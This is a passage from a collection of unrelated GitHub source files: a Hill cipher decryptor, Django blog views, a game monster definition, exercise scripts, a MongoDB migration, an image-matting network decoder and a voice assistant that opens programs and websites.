M):\n for i in range(0, len(M)):\n for j in range(0, len(M[0])):\n M[i][j] *= k\n return M\n\n\ndef prod_mat(M1, M2, dimM1, dimM2):\n (dim_x_m1, dim_y_m1) = dimM1\n (dim_x_m2, dim_y_m2) = dimM2\n if not (len(M1[0]) == len(M2)):\n raise Exception(\"On ne peut pas multiplier ces deux matrices !\")\n else:\n res = []\n colRes = 0\n linRes = 0\n\n for i in range(0, dim_x_m1):\n res.append([])\n for j in range(0, dim_y_m1):\n res[i].append(0)\n\n for linA in range(0, dim_x_m1):\n for colB in range(0, dim_y_m2):\n linB = 0\n for colA in range(0, dim_y_m1):\n if dim_x_m2 > 1:\n res[linRes][colRes] += M1[linA][colA] * M2[linB][colB]\n else:\n res[linRes][colRes] += M1[linA][colA] * M2[linB]\n linB += 1\n colRes += 1\n linRes += 1\n colRes = 0\n return res\n\n\ndef mat_mod(M, mod):\n for i in range(0, len(M)):\n for j in range(0, len(M[0])):\n M[i][j] %= mod\n return M\n\n\ndef decrypt(key, code):\n res = []\n for vec in code:\n tmp = prod_mat(key, vec, (len(key), len(key)), (1, 2))\n res.append(tmp[0])\n res.append(tmp[1])\n print (\"mat_mod\")\n print (res)\n mat_mod(res, 26)\n print (\"mat_mod\")\n print (res)\n res2 = \"\"\n for i in res:\n for j in i:\n res2 += chr((j + 65))\n return res2\n\nM = [[10, 18], [0, 3]]\nC = [[19, 17], [15, 4]]\ncode = [[19, 15], [17, 4], [15, 10]]\n\nprint (\"Matrices de depart : \")\nprint (\"M : \")\nprint (M)\nprint (\"C : \")\nprint (C)\nprint (\"\\n\")\n\nprint (\"Calcul de l'inverse de C...\")\nCi = calculer_inverse(C)\nprint (Ci)\nprint (\"\\n\")\nprint (\"Calcul de Cmod26...\")\nCi = mat_mod(Ci, 26)\nprint (Ci)\nprint (\"\\n\")\nprint (\"Calcul de M*Ci...\")\nKi = prod_mat(M, Ci, (len(M), len(M)), (len(C), len(C)))\nprint (Ki)\nprint (\"\\n\")\nprint (\"Calcul de Kmod26...\")\nKi = mat_mod(Ki, 26)\n\nprint (Ki)\n\nm = decrypt(Ki, code)\nprint (m)\n","repo_name":"GuillaumeGas/PyCrypto","sub_path":"hill.py","file_name":"hill.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30604762421","text":"from django.core.paginator import Paginator\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Post, Group, User, Follow\nfrom .forms import PostForm, CommentForm\n\n\nDISPLAYED_POSTS = 10\n\n\ndef get_page(request, post_list):\n paginator = Paginator(post_list, DISPLAYED_POSTS)\n page_number = request.GET.get('page')\n return paginator.get_page(page_number)\n\n\ndef index(request):\n post_list = Post.objects.all()\n page_obj = get_page(request, post_list)\n context = {\n 'page_obj': page_obj,\n }\n return render(request, 'posts/index.html', context)\n\n\ndef group_posts(request, slug):\n group = get_object_or_404(Group, slug=slug)\n post_list = group.posts.all()\n page_obj = get_page(request, post_list)\n context = {\n 'group': group,\n 'page_obj': page_obj,\n }\n return render(request, 'posts/group_list.html', context)\n\n\ndef profile(request, username):\n user = get_object_or_404(User, username=username)\n if request.user.is_authenticated:\n following = Follow.objects.filter(\n author__following__user=request.user).exists()\n else:\n following = False\n post_list = user.posts.all()\n page_obj = get_page(request, post_list)\n context = {\n 'page_obj': page_obj,\n 'author': user,\n 'following': following,\n }\n return render(request, 'posts/profile.html', context)\n\n\ndef post_detail(request, post_id):\n post = get_object_or_404(Post, id=post_id)\n form = CommentForm()\n comments = post.comments.all()\n context = {\n 'post': post,\n 'form': form,\n 'comments': comments,\n }\n return render(request, 'posts/post_detail.html', context)\n\n\n@login_required\ndef post_create(request):\n if request.method == 'POST':\n form = PostForm(request.POST, files=request.FILES or None)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.save()\n return redirect('posts:profile', post.author)\n return render(request, 'posts/create_post.html', {'form': form})\n form = PostForm()\n return render(request, 'posts/create_post.html', {'form': form})\n\n\n@login_required\ndef post_edit(request, post_id):\n post = get_object_or_404(Post, id=post_id)\n form = PostForm(\n request.POST or None,\n files=request.FILES or None,\n instance=post,\n )\n context = {\n 'is_edit': True,\n 'form': form,\n }\n if request.user != post.author:\n return redirect('posts:post_detail', post_id=post_id)\n if form.is_valid():\n form.save()\n return redirect('posts:post_detail', post_id=post_id)\n\n return render(request, 'posts/create_post.html', context)\n\n\n@login_required\ndef add_comment(request, post_id):\n post = get_object_or_404(Post, id=post_id)\n form = CommentForm(request.POST or None)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.author = request.user\n comment.post = post\n comment.save()\n return redirect('posts:post_detail', post_id=post_id)\n\n\n@login_required\ndef follow_index(request):\n user = request.user\n followings = Post.objects.filter(\n author__following__user=user\n )\n page_obj = get_page(request, followings)\n context = {\n 'page_obj': page_obj,\n }\n return render(request, 'posts/follow.html', context)\n\n\n@login_required\ndef profile_follow(request, username):\n user = request.user\n author = get_object_or_404(User, username=username)\n if user != author:\n Follow.objects.get_or_create(\n user=user,\n author=author,\n )\n return redirect('posts:index')\n\n\n@login_required\ndef profile_unfollow(request, username):\n user = request.user\n author = get_object_or_404(User, username=username)\n if user != author and Follow.objects.filter(\n user=user,\n author=author,\n ).exists():\n Follow.objects.filter(\n user=user,\n author=author,\n ).delete()\n return redirect('posts:index')\n","repo_name":"IvanCh-dev/hw05_final","sub_path":"yatube/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73198745641","text":"ghoul = genMonster(\"Ghoul\", (18, 5976), \"a ghoul\")\nghoul.setHealth(100)\nghoul.bloodType(\"blood\")\nghoul.setDefense(armor=9, fire=1, earth=0.8, energy=0.7, ice=0.9, holy=1.25, death=0, physical=1, drown=0)\nghoul.setExperience(85)\nghoul.setSpeed(144)\nghoul.setBehavior(summonable=450, hostile=1, illusionable=1, convinceable=450, pushable=0, pushItems=1, pushCreatures=1, targetDistance=1, runOnHealth=0)\nghoul.walkAround(energy=1, fire=1, poison=1)\nghoul.setImmunity(paralyze=1, invisible=1, lifedrain=1, drunk=1)\nghoul.regMelee(70)\nghoul.loot( (3976, 14.5, 2), (\"ghoul snack\", 5.25), (\"rotten piece of cloth\", 15.5), (\"torch\", 4.5), (2148, 100, 30), (\"pile of grave earth\", 1.0), (\"brown piece of cloth\", 1.25, 3), (\"scale armor\", 0.75), (\"skull\", 0.25), (\"viking helmet\", 1.0), (\"life ring\", 0.25) )","repo_name":"novasdream/PyOT","sub_path":"data/monsters/The Undead/Undead Humanoids/Ghoul.py","file_name":"Ghoul.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"30813054576","text":"# coding: utf-8\n\nfrom interpreter import Instruction, Interpreter\n\nif __name__ == \"__main__\":\n\n interpreter = Interpreter()\n memory = []\n\n print (\"For utilizing this interpreter, provide input in the format:\\n\" +\n \" \\n\" +\n \"EXAMPLE: \\n\" +\n \"ADD 1 ADD 2 HALT\\n\" +\n \"INSTRUCTIONS ARE 'ADD', 'SUB', 'MULT' AND 'HALT'\")\n\n\n # Inserting instructions to memory.\n memory_input = input(\"Insert the instruction: \").split()\n print (memory_input)\n\n # We must have a HALT instruction.\n\n for instr in memory_input:\n if instr == \"HALT\":\n memory.append(-5)\n elif instr == \"ADD\":\n memory.append(-10)\n elif instr == \"SUB\":\n memory.append(-15)\n elif instr == \"MULT\":\n memory.append(-20)\n else:\n if (interpreter.is_valid(int(instr))):\n memory.append(int(instr))\n else:\n memory.append(-9)\n\n\n if (memory[0] is -20):\n interpreter.set_ac(1)\n \n interpreter.interpret(memory, 0)\n\n\n\n\n\n\n\n","repo_name":"rubenspessoa/very-simple-machine-code-interpreter","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4823345198","text":"# 6. Faça um Programa que calcule a área de uma sala de um apartamento. \n# Para isso, o seu programa precisa pedir a largura da sala, \n# o comprimento da sala e imprimir a área em m² da sala.\n\nlargura_sala= int(input('Digite a largura da sala: '))\ncomprimento_sala= int(input('Digite o comprimento da sala: '))\n\ntamanho_sala= largura_sala*comprimento_sala\n\nprint(f'O tamanho da sala é {tamanho_sala} m²')","repo_name":"LGRuggeri/Python_Impressionador","sub_path":"EX6 - Modulo5.py","file_name":"EX6 - Modulo5.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73518570919","text":"import multiprocessing\n\n# suma los numeros desde 1 hasta lo pasado por parametro\ndef suma(n):\n res = sum(range(1, n + 1))\n print(f\"La suma de los números hasta {n} es: {res}\")\n\ndef main():\n valores = [5, 10, 15]\n\n #numero de procesos que se van a utilizar \n numProcesos = 2 \n\n\n# .pool sirve para asignar tareas de manera eficiente a los procesos que hay disponibles\n with multiprocessing.Pool(processes=numProcesos) as pool:\n # pool.map se utiliza para asignar cada la funcion de suma a cada valor de valores\n # y esto hace que se distrubuyan las tareas en los porcesos del pool \n pool.map(suma, valores)\n\n print(\"Procesos Procesados.\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"Mdmgzz/EjerT2PSP","sub_path":"EjerT2/Muliprocessing/Ejer02.py","file_name":"Ejer02.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70014757799","text":"import logging\nimport os\n\nfrom microserviceutil.clients.base_micro_client import BaseMicroClient\nfrom microserviceutil.migrations.migrate import Migrate\nfrom microserviceutil.services.config_service import ConfigService\n\n\nclass MigrateMongoProToDev(Migrate):\n\n def __init__(self, params):\n super().__init__(params)\n\n # get info from params\n if len(params) > 2:\n self.project_id, self.database, self.collection = params\n else:\n self.project_id, self.database, = params\n\n # env vars\n self.env_from = os.environ.get('FROM', None)\n self.prune = os.environ.get('PRUNE', 'False').lower() == 'true'\n\n # services configuration\n if self.project_id:\n ConfigService().project_id = self.project_id\n\n # clients\n self.bmc_from = BaseMicroClient(self.env_from)\n self.bmc = BaseMicroClient()\n\n def run_job(self):\n self.migrate_collection(self.database, self.collection)\n\n def migrate_collection(self, database, collection):\n logging.info(f'Migrating the collection -> {collection.upper()}')\n migration = self.bmc_from.get_migrations_items(database, collection)\n\n # comprobamos cuales podemos migrar\n migrated = []\n for item in migration.items:\n logging.info(item)\n migrated += self.__should_be_migrated(collection, item)\n\n if migrated:\n if self.prune:\n self.bmc.delete_migration_items(database, collection)\n self.bmc.save_migration_items(database, collection, migrated)\n\n def __should_be_migrated(self, collection, item):\n result = [item]\n # if collection == 'placeholder':\n # if 'key_property_values' and item['key_property'] not in ['key_property_values']:\n # result = []\n return result\n","repo_name":"Squallium/python-util-microservice","sub_path":"microserviceutil/migrations/migrate_mongo_pro_to_dev.py","file_name":"migrate_mongo_pro_to_dev.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18350787705","text":"from django.conf.urls import url\nfrom . import views\nfrom .feeds import NewsRSS\n\nurlpatterns = [\n\turl(r'^$', views.all_news, name=\"all_news\"),\n\t\n\turl(r'^view/$', views.one_new, name=\"news\"),\n\turl(r'^view/(?P\\d+)/$', views.one_new, name=\"news\"),\n\t\n\turl(r'^okrug/$', views.okrug_news, name=\"okrug_news\"),\n\turl(r'^okrug/(?P\\w+)/$', views.okrug_news, name=\"okrug_news\"),\n\turl(r'^okrug/(?P\\w+)/page/(?P\\d+)/$', views.okrug_news, name=\"okrug_news\"),\n\t\n\turl(r'^center/(?P\\d+)/$', views.center_news, name=\"center_news\"),\n\turl(r'^center/(?P\\d+)/page/(?P\\d+)/$', views.center_news, name=\"center_news\"),\n\t\n\turl(r'^press_releases/$', views.all_releases, name=\"press_releases\"),\n\turl(r'^press_releases/view/(?P\\d+)/$', views.one_release, name=\"one_release\"),\n\n url(r'^sitenews/$', NewsRSS() ),\n]\n","repo_name":"slonidet/avcsite","sub_path":"newsletter/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28110884940","text":"# -*- coding: UTF-8 -*-\n_metaclass_ = type\nimport string\nfrom NetCommunication import NetSocketFun\n\nfrom MsgHandle import MsgHandleInterface\nfrom CryptoAlgorithms import Rsa\nfrom GlobalData import CommonData, MagicNum, ConfigData\n\nclass RecvDhPubkeyAndSendDhGenerateSuccess(MsgHandleInterface.MsgHandleInterface,object):\n \"接受对方传来的dh公钥,同时计算生成会话密钥\"\n def __init__(self):\n super(RecvDhPubkeyAndSendDhGenerateSuccess,self).__init__() \n \n def verifyMsgSign(self,msg,sign,fddata,th):\n \"如果验证成功则发送成功消息,否则发送验证失败并关闭该线程\"\n _cfg = ConfigData.ConfigData()\n _rsa = Rsa.Rsa(_cfg.GetKeyPath())\n if _rsa.VerifyByPubkey(msg, sign, fddata.GetData(\"peername\")) == False:\n msghead = self.packetMsg(MagicNum.MsgTypec.IDENTITYVERIFYFAILED, 0)\n fddata.SetData(\"outdata\", msghead )\n th.ModifyInToOut(fddata.GetData(\"sockfd\"))\n showmsg = \"签名验证失败\"\n else:\n #生成自己的会话密钥\n from CryptoAlgorithms import HashBySha1\n _hbs = HashBySha1.HashBySha1()\n fddata.SetData(\"fddatakey\",_hbs.GetHash(str(fddata.GetData(\"dhkey\").getKey(string.atol(msg))),MagicNum.HashBySha1c.HEXADECIMAL))\n if fddata.GetData(\"threadtype\") == CommonData.ThreadType.CONNECTAP:\n msghead = self.packetMsg(MagicNum.MsgTypec.AUDITDHGENERATE, 0)\n else:\n msghead = self.packetMsg(MagicNum.MsgTypec.AUDITRETURNDHGENERATE, 0)\n fddata.SetData(\"outdata\", msghead )\n th.ModifyInToOut(fddata.GetData(\"sockfd\"))\n showmsg = \"生成会话密钥:\" + fddata.GetData(\"fddatakey\")\n self.sendViewMsg(CommonData.ViewPublisherc.MAINFRAME_APPENDTEXT, showmsg,True)\n \n def HandleMsg(self,bufsize,fddata,th):\n \"接受对方传来的dh参数及公钥并生成自己的dh公钥\"\n recvmsg = NetSocketFun.NetSocketRecv(fddata.GetData(\"sockfd\"),bufsize)\n dhmsg = NetSocketFun.NetUnPackMsgBody(recvmsg)\n #参数p:公钥:签名\n self.verifyMsgSign(dhmsg[0], dhmsg[1], fddata,th)\n","repo_name":"oneApple/ContentThreadPool","sub_path":"MsgHandle/RecvDhPubkeyAndSendDhGenerateSuccess.py","file_name":"RecvDhPubkeyAndSendDhGenerateSuccess.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"22237141361","text":"from __future__ import print_function\r\nimport cv2 as cv\r\nimport numpy as np\r\nimport argparse\r\nimport random as rng\r\nimport matplotlib.pyplot as plt\r\nfrom astropy.io import fits\r\n\r\n\r\nrng.seed(12345)\r\ndef thresh_callback(val, image):\r\n threshold = val\r\n canny_output = cv.Canny(image, threshold, threshold * 2)\r\n z = canny_output\r\n contours, hierachy = cv.findContours(canny_output, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)\r\n contours_poly = [None] * len(contours)\r\n boundRect = [None] * len(contours)\r\n centers = [None] * len(contours)\r\n radius = [None] * len(contours)\r\n for i, c in enumerate(contours):\r\n contours_poly[i] = cv.approxPolyDP(c, 3, True)\r\n boundRect[i] = cv.boundingRect(contours_poly[i])\r\n centers[i], radius[i] = cv.minEnclosingCircle(contours_poly[i])\r\n return z, centers\r\n\r\n\r\nsrc = cv.imread(r\"C:\\Users\\adity\\OneDrive\\Desktop\\NasaSpaceApps\\2019day129-12.PNG\")\r\nprint(src)\r\nimg1 = cv.cvtColor(src, cv.COLOR_BGR2GRAY)\r\nimg1 = cv.blur(src, (3, 3))\r\n\r\n\r\n\r\n\r\nthresh = 100 # initial threshold\r\n\r\nz1, c1 = thresh_callback(thresh, img1)\r\nchanged_objects_initial = []\r\nchanged_objects_final = []\r\n\r\nc1 = list(set(c1))\r\n\r\n\r\nplt.figure()\r\nplt.imshow(z1, cmap='gray')\r\nplt.colorbar()\r\n\r\nfor i in c1:\r\n plt.plot(i[0], i[1], 'oc')\r\n\r\nplt.savefig(r'C:\\Users\\adity\\OneDrive\\Desktop\\NasaSpaceApps\\init7.png')\r\n","repo_name":"JSalib5/Space-Apps-2019","sub_path":"tetame.py","file_name":"tetame.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"29556499614","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 20 11:01:11 2020\r\n\r\n@author: rk239\r\n\"\"\"\r\n#email slicer \r\n\r\nemail=input(\"enter email here :\\t\")\r\nslicer=email.split(\"@\")\r\nfor char in slicer: \r\n print(char)\r\n\r\n","repo_name":"rksingh24/rk-projects","sub_path":"emailslicer.py","file_name":"emailslicer.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"72694766505","text":"import random\n\ndef binSearch(ary, data):\n global count\n pos = -1\n start = 0\n end = len(ary) - 1\n while (start <= end):\n count += 1\n min = (start + end) // 2\n if ary[min] == data:\n return min\n elif ary[min] < data:\n start = min + 1\n else:\n end = min - 1\n\n return pos\n\n\n\ncount = 0\ndataAry = [ random.randint(100000, 999999) for _ in range(1000000) ]\ndataAry.sort()\n\nposition = binSearch(dataAry, 111111)\nprint(position, dataAry[position], '횟수: ', count)\n\n#print(dataAry[:15], dataAry[-10:-1])\n","repo_name":"baejinsoo/algorithm_study","sub_path":"algorithm_study/DataStructure/12_이진검색.py","file_name":"12_이진검색.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"35087755560","text":"'''\n\t while\n'''\ncustomer = \"토르\"\nindex = 5\nwhile index >= 1:\n\tprint(f\"{customer}님, 커피가 준비되었습니다. : {index}\")\n\tindex -= 1\n\nperson = \"\"\nwhile person != \"토르\":\n\tprint(\"{}님, 커피가 준비되었습니다.\".format(customer))\n\tperson = input(\"이름이 어떻게 되세요? : \")","repo_name":"iseohyun/python-example","sub_path":"2_4_02_While.py","file_name":"2_4_02_While.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"71038539303","text":"import logging\r\nimport torch.nn as nn\r\nfrom ..ops import SpectralNorm\r\n\r\n\r\ndef conv5x5(in_planes, out_planes, stride=1, groups=1, dilation=1):\r\n \"\"\"5x5 convolution with padding\"\"\"\r\n return nn.Conv2d(in_planes, out_planes, kernel_size=5, stride=stride,\r\n padding=2, groups=groups, bias=False, dilation=dilation)\r\n\r\n\r\ndef conv3x3(in_planes, out_planes, stride=1, groups=1, dilation=1):\r\n \"\"\"3x3 convolution with padding\"\"\"\r\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\r\n padding=dilation, groups=groups, bias=False, dilation=dilation)\r\n\r\n\r\ndef conv1x1(in_planes, out_planes, stride=1):\r\n \"\"\"1x1 convolution\"\"\"\r\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\r\n\r\n\r\nclass BasicBlock(nn.Module):\r\n expansion = 1\r\n\r\n def __init__(self, inplanes, planes, stride=1, upsample=None, norm_layer=None, large_kernel=False):\r\n super(BasicBlock, self).__init__()\r\n if norm_layer is None:\r\n norm_layer = nn.BatchNorm2d\r\n self.stride = stride\r\n conv = conv5x5 if large_kernel else conv3x3\r\n # Both self.conv1 and self.downsample layers downsample the input when stride != 1\r\n if self.stride > 1:\r\n self.conv1 = SpectralNorm(nn.ConvTranspose2d(inplanes, inplanes, kernel_size=4, stride=2, padding=1, bias=False))\r\n else:\r\n self.conv1 = SpectralNorm(conv(inplanes, inplanes))\r\n self.bn1 = norm_layer(inplanes)\r\n self.activation = nn.LeakyReLU(0.2, inplace=True)\r\n self.conv2 = SpectralNorm(conv(inplanes, planes))\r\n self.bn2 = norm_layer(planes)\r\n self.upsample = upsample\r\n\r\n def forward(self, x):\r\n identity = x\r\n\r\n out = self.conv1(x)\r\n out = self.bn1(out)\r\n out = self.activation(out)\r\n\r\n out = self.conv2(out)\r\n out = self.bn2(out)\r\n\r\n if self.upsample is not None:\r\n identity = self.upsample(x)\r\n\r\n out += identity\r\n out = self.activation(out)\r\n\r\n return out\r\n\r\n\r\nclass ResNet_D_Dec(nn.Module):\r\n\r\n def __init__(self, block, layers, norm_layer=None, large_kernel=False, late_downsample=False):\r\n super(ResNet_D_Dec, self).__init__()\r\n self.logger = logging.getLogger(\"Logger\")\r\n if norm_layer is None:\r\n norm_layer = nn.BatchNorm2d\r\n self._norm_layer = norm_layer\r\n self.large_kernel = large_kernel\r\n self.kernel_size = 5 if self.large_kernel else 3\r\n\r\n self.inplanes = 512 if layers[0] > 0 else 256\r\n self.late_downsample = late_downsample\r\n self.midplanes = 64 if late_downsample else 32\r\n\r\n self.conv1 = SpectralNorm(nn.ConvTranspose2d(self.midplanes, 32, kernel_size=4, stride=2, padding=1, bias=False))\r\n self.bn1 = norm_layer(32)\r\n self.leaky_relu = nn.LeakyReLU(0.2, inplace=True)\r\n self.conv2 = nn.Conv2d(32, 1, kernel_size=self.kernel_size, stride=1, padding=self.kernel_size//2)\r\n self.upsample = nn.UpsamplingNearest2d(scale_factor=2)\r\n self.tanh = nn.Tanh()\r\n self.layer1 = self._make_layer(block, 256, layers[0], stride=2)\r\n self.layer2 = self._make_layer(block, 128, layers[1], stride=2)\r\n self.layer3 = self._make_layer(block, 64, layers[2], stride=2)\r\n self.layer4 = self._make_layer(block, self.midplanes, layers[3], stride=2)\r\n\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d):\r\n if hasattr(m, \"weight_bar\"):\r\n nn.init.xavier_uniform_(m.weight_bar)\r\n else:\r\n nn.init.xavier_uniform_(m.weight)\r\n elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):\r\n nn.init.constant_(m.weight, 1)\r\n nn.init.constant_(m.bias, 0)\r\n\r\n # Zero-initialize the last BN in each residual branch,\r\n # so that the residual branch starts with zeros, and each residual block behaves like an identity.\r\n # This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677\r\n for m in self.modules():\r\n if isinstance(m, BasicBlock):\r\n nn.init.constant_(m.bn2.weight, 0)\r\n\r\n self.logger.debug(self)\r\n\r\n def _make_layer(self, block, planes, blocks, stride=1):\r\n if blocks == 0:\r\n return nn.Sequential(nn.Identity())\r\n norm_layer = self._norm_layer\r\n upsample = None\r\n if stride != 1:\r\n upsample = nn.Sequential(\r\n nn.UpsamplingNearest2d(scale_factor=2),\r\n SpectralNorm(conv1x1(self.inplanes, planes * block.expansion)),\r\n norm_layer(planes * block.expansion),\r\n )\r\n elif self.inplanes != planes * block.expansion:\r\n upsample = nn.Sequential(\r\n SpectralNorm(conv1x1(self.inplanes, planes * block.expansion)),\r\n norm_layer(planes * block.expansion),\r\n )\r\n\r\n layers = [block(self.inplanes, planes, stride, upsample, norm_layer, self.large_kernel)]\r\n self.inplanes = planes * block.expansion\r\n for _ in range(1, blocks):\r\n layers.append(block(self.inplanes, planes, norm_layer=norm_layer, large_kernel=self.large_kernel))\r\n\r\n return nn.Sequential(*layers)\r\n\r\n def forward(self, x, mid_fea):\r\n x = self.layer1(x) # N x 256 x 32 x 32\r\n x = self.layer2(x) # N x 128 x 64 x 64\r\n x = self.layer3(x) # N x 64 x 128 x 128\r\n x = self.layer4(x) # N x 32 x 256 x 256\r\n x = self.conv1(x)\r\n x = self.bn1(x)\r\n x = self.leaky_relu(x)\r\n x = self.conv2(x)\r\n\r\n alpha = (self.tanh(x) + 1.0) / 2.0\r\n\r\n return alpha, None\r\n","repo_name":"XiaohangZhan/deocclusion","sub_path":"demos/GCAMatting/networks/decoders/resnet_dec.py","file_name":"resnet_dec.py","file_ext":"py","file_size_in_byte":5736,"program_lang":"python","lang":"en","doc_type":"code","stars":764,"dataset":"github-code","pt":"36"} +{"seq_id":"12640230171","text":"from django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n\nfrom mainapp.service.Header import HeaderService\nfrom django.views.decorators.cache import cache_page\nfrom django.utils.safestring import mark_safe\nfrom django.contrib import messages\nfrom mainapp.Common import ConstValiable\nfrom django.contrib.auth.decorators import login_required\n\n@api_view(['GET'])\ndef get_header_path(request):\n \"\"\"\n Get path header\n \"\"\"\n context = HeaderService.get_path_header()\n return Response(context)\n\n@login_required(login_url='/login/')\ndef view_header_page(request):\n \"\"\"\n View page manager header\n \"\"\"\n return render(request, 'private/Header/header.html')\n\n@login_required(login_url='/login/')\ndef insert_header_image_form(request):\n \"\"\"\n Get data post to update header image\n \"\"\"\n if request.method == 'POST':\n try:\n # Get data in form\n header_image = request.FILES[\"image-header\"]\n header_name = request.POST.get('name-header')\n\n # Check none\n if validation_header(header_name, header_image):\n header_name = str(mark_safe(header_name)).strip()\n url = HeaderService.insert_header_image(header_image, header_name)\n print(url)\n messages.success(request, ConstValiable.MESSAGE_POPUP_SUCCESS)\n else:\n # Message error\n messages.error(request, ConstValiable.MESSAGE_POPUP_ERROR)\n except Exception:\n messages.error(request, ConstValiable.MESSAGE_POPUP_ERROR)\n return redirect('/header')\n\ndef validation_header(header_name, header_image):\n \"\"\"\n Validate data header user input\n \"\"\"\n if header_name != '' and header_image != None:\n if len(header_name) <= 100 and len(header_image) <= 255:\n return True\n return False\n","repo_name":"trunganhvu/personalweb","sub_path":"mainapp/view/Header/HeaderConntroller.py","file_name":"HeaderConntroller.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"4839361917","text":"def intersect(*args): #krzyzowanie jednej krotki z druga -> jesli x z 1wszej jest w kolejnej krotce to dodaj do listy\n\tres = []\n\tfor x in args[0]:\n\t\tfor other in args[1:]:\n\t\t\tif x in other and x not in res: #dopiero teraz jest ZBIOR czesci wspolnej jaka s2 i s3 dziela z s1\n\t\t\t\tres.append(x)\n\t\t\telse:\n\t\t\t\tbreak\n\tprint(res)\n\t\ns1, s2, s3 = \"Teodor\", \"Teofil\", \"Troll\" \n\nintersect(s1, s2, s3) \t# wynik zalezny jest od tego, ktora wartosc jest pierwsza\n\ndef union(*args): # ZBIOR -> kazdy element ze zbioru wystepuje tylko raz, jesli nie ma jeszcze x to dodaj do listy\n\tres = []\n\tfor seq in args:\n\t\tfor x in seq:\n\t\t\tif x not in res:\n\t\t\t\tres.append(x)\n\tprint(res)\n\t\n\t\nunion(s1, s2)\n\n\n","repo_name":"florekem/python_projekty","sub_path":"Python-wprowadzenie-przyklady-z-ksiazki/strona_485.py","file_name":"strona_485.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"72526296104","text":"import os\r\nimport pyttsx3 as ps\r\nimport webbrowser\r\n\r\nps.speak(\"hello\")\r\nprint(\" \\t\\t\\t\\t\\tWelcome\")\r\nps.speak(\"how can i help you\")\r\nwhile(True):\r\n ps.speak('please write your instruction')\r\n ch = input(\"\\n please write your instruction : \")\r\n if ('notepad' in ch) or ('text' in ch) or ('editor' in ch):\r\n ps.speak('opening notepad')\r\n os.system(\"notepad\")\r\n\r\n elif ('chrome' in ch) or ('browser' in ch) or (\"internet\" in ch):\r\n ps.speak('opening chrome')\r\n os.system(\"chrome\")\r\n \r\n elif ('vlc' in ch) or ('media' in ch) or ('player' in ch):\r\n ps.speak('opening vlc media player')\r\n os.system(\"vlc\")\r\n \r\n elif ('calc' in ch) or ('calculator' in ch) or ('math' in ch):\r\n ps.speak('opening calculator')\r\n os.system(\"calc\")\r\n \r\n elif ('paint' in ch) or ('painting' in ch) or ('color' in ch):\r\n ps.speak('opening paint')\r\n os.system(\"mspaint\")\r\n \r\n\r\n elif (('start' in ch) or ('song' in ch) or ('song') in ch) or ('play' in ch):\r\n ps.speak('enter name of the song you would you like to hear')\r\n name = input('enter name of the song you would you like to hear \\n')\r\n path = name + \".mp3\"\r\n # print(path)\r\n ps.speak('opening your music '+path)\r\n os.system(path)\r\n \r\n \r\n elif ('google' in ch) or ('Google' in ch):\r\n new = 2\r\n url = \"http://google.com\"\r\n webbrowser.open(url , new=new)\r\n ps.speak('opening google')\r\n\r\n elif ('linkedln' in ch) or ('linkedin') in ch:\r\n new = 2\r\n url = \"https://www.linkedin.com/feed/\"\r\n webbrowser.open(url , new=new)\r\n ps.speak('opening linkedin ')\r\n\r\n elif ('git' in ch) or ('github') in ch:\r\n new = 2\r\n url = \"https://github.com/\"\r\n webbrowser.open(url , new=new)\r\n ps.speak('opening github ')\r\n\r\n elif ('bootstrap' in ch) or ('css' in ch):\r\n new = 2\r\n url = \"https://getbootstrap.com/docs/4.5/getting-started/introduction/\"\r\n webbrowser.open(url , new=new)\r\n ps.speak('opening bootstrap ')\r\n elif ('insta' in ch) or ('instagram' in ch):\r\n new = 2\r\n url = \"https://www.instagram.com/\"\r\n 